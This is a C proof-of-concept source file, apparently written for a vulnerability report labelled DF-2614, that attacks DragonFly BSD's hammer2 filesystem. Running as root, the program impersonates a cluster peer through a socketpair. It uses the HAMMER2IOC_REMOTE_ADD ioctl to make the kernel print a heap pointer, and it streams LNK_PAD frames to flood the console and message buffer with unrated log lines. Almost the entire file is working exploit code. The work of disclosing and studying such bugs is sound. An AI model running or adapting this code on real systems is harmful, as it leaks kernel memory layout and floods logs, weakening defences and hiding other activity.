DF-2614 / df2614_trigger.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 | /* * DF-2614 PoC — hammer2 iocom debug kprintf's: * (a) kernel heap-pointer leak: kprintf("volconf update %p\n", * hmp->iocom.conn_state) [sys/vfs/hammer2/hammer2_iocom.c:376], * triggered via HAMMER2IOC_REMOTE_ADD on a cluster-connected mount * (root ioctl path, hammer2_ioctl.c:308). A cluster peer answering * the kernel's auto-LNK_CONN reaches the same print via * hammer2_autodmsg (hammer2_iocom.c:231). * (b) peer-driven console/msgbuf flood: one unconditional * kprintf("RCVMSG %08x\n", msg->tcmd) per unhandled message * [hammer2_iocom.c:135] — we play the cluster peer (the same wire * position as the userland hammer2 service daemon / remote cluster * node) by handing the kernel our end of a socketpair as * info.cluster_fd, then streaming one-way LNK_PAD frames. * * build: cc -O -I/usr/src/sys -o df2614_trigger df2614_trigger.c * run: (root) ./df2614_trigger [nflood] */ #include <sys/param.h> #include <sys/mount.h> #include <sys/socket.h> #include <sys/ioctl.h> #include <sys/time.h> #include <sys/poll.h> #include <vfs/hammer2/hammer2_ioctl.h> #include <vfs/hammer2/hammer2_mount.h> #include <sys/dmsg.h> #include <err.h> #include <errno.h> #include <fcntl.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #define MOUNTPT "/mnt/h2poc" #define VOLUME "/dev/vn0@testvol" static void drain(int fd) { char buf[65536]; struct pollfd pfd; int idle = 0, n; pfd.fd = fd; pfd.events = POLLIN; while (idle < 3) { if (poll(&pfd, 1, 100) == 0) { idle++; continue; } idle = 0; n = read(fd, buf, sizeof(buf)); if (n <= 0) break; } } int main(int argc, char **argv) { hammer2_ioc_remote_t remote; struct hammer2_mount_info info; struct timespec t0, t1; dmsg_hdr_t frame; double dt; long nflood = (argc > 1) ? strtol(argv[1], NULL, 0) : 1000; int sv[2], fd, i, nconn = 0, nvol = 0, nspan = 0; char buf[65536]; ssize_t n; struct pollfd pfd; /* * 1. Become the cluster peer: hand the kernel our socketpair end as * cluster_fd. On mount the kernel creates the iocom rd/wr threads * and auto-initiates LNK_CONN, setting hmp->iocom.conn_state to a * freshly kmalloc'd kdmsg_state_t (kern_dmsg.c:189-190). */ if (socketpair(AF_UNIX, SOCK_STREAM, 0, sv) < 0) err(1, "socketpair"); memset(&info, 0, sizeof(info)); info.volume = VOLUME; info.hflags = 0; info.cluster_fd = sv[0]; if (mkdir(MOUNTPT, 0755) < 0 && errno != EEXIST) err(1, "mkdir " MOUNTPT); if (mount("hammer2", MOUNTPT, 0, &info) < 0) err(1, "mount(hammer2)"); /* drain the auto-LNK_CONN the kernel transmitted to us */ drain(sv[1]); /* * 2. Bonus (peer-only trigger of the same print cluster): reply to * the kernel's LNK_CONN. hammer2_autodmsg then prints * "HAMMER2: VOLDATA DUMP" (:220), walks copyinfo[] calling * hammer2_volconf_update (:231 -> :376 %p print) and prints * "HAMMER2: INITIATE SPANs" (:236). On a fresh volume there are * no configured copies, so this mainly proves lines 220/236. */ /* (handled implicitly: we just drain; the CONN reply variant is * exercised by the ioctl below which is the documented trigger) */ /* * 3. Heap-pointer leak via root ioctl: HAMMER2IOC_REMOTE_ADD -> * hammer2_ioctl_remote_add (hammer2_ioctl.c:308) -> * hammer2_volconf_update -> kprintf("volconf update %p", ...). */ fd = open(MOUNTPT "/rmt", O_RDWR | O_CREAT, 0644); if (fd < 0) err(1, "open " MOUNTPT "/rmt"); memset(&remote, 0, sizeof(remote)); remote.copyid = -1; /* auto-allocate a slot */ strlcpy((char *)remote.copy1.path, "df2614-test", sizeof(remote.copy1.path)); if (ioctl(fd, HAMMER2IOC_REMOTE_ADD, &remote) < 0) warn("HAMMER2IOC_REMOTE_ADD"); else printf("REMOTE_ADD_OK copyid=%d\n", remote.copy1.copyid); close(fd); usleep(300 * 1000); drain(sv[1]); /* drain the transmitted VOLCONF, if any */ /* * 4. Peer-driven console flood: one-way LNK_PAD frames. Each is a * 64-byte header, magic 0x4832, no CREATE/REPLY/DELETE flags; * kdmsg routes it to hammer2_rcvdmsg via the default case * (kern_dmsg.c:1220), which kprintf's one "RCVMSG" line per * message with no gating and no rate limit (hammer2_iocom.c:135). */ memset(&frame, 0, sizeof(frame)); frame.magic = DMSG_HDR_MAGIC; frame.cmd = DMSG_LNK_PAD; /* = 0x1: 64-byte hdr, one-way */ printf("FLOOD_START=%ld\n", nflood); fflush(stdout); clock_gettime(CLOCK_MONOTONIC, &t0); for (i = 0; i < nflood; i++) { if (write(sv[1], &frame, sizeof(frame)) != sizeof(frame)) { warnx("write failed at frame %d (peer socket full; " "kernel consume rate is the bottleneck)", i); nflood = i; break; } } clock_gettime(CLOCK_MONOTONIC, &t1); dt = (double)(t1.tv_sec - t0.tv_sec) + 1e-9 * (double)(t1.tv_nsec - t0.tv_nsec); printf("FLOOD_SENT=%ld in %.3f s => kernel consumed+printed " "%.0f msg/s\n", nflood, dt, (double)nflood / dt); /* 5. let the rd thread finish consuming */ sleep(2); /* 6. disconnect peer, unmount */ close(sv[1]); sleep(2); if (unmount(MOUNTPT, 0) < 0) warn("unmount"); else printf("UNMOUNT_OK\n"); /* * 7. Count what landed in the message buffer ourselves, so the * program output is self-contained (run.sh also captures dmesg). */ pfd.fd = open("/dev/klog", O_RDONLY); /* may fail; dmesg used */ if (pfd.fd >= 0) close(pfd.fd); printf("TRIGGER_DONE\n"); return (0); } |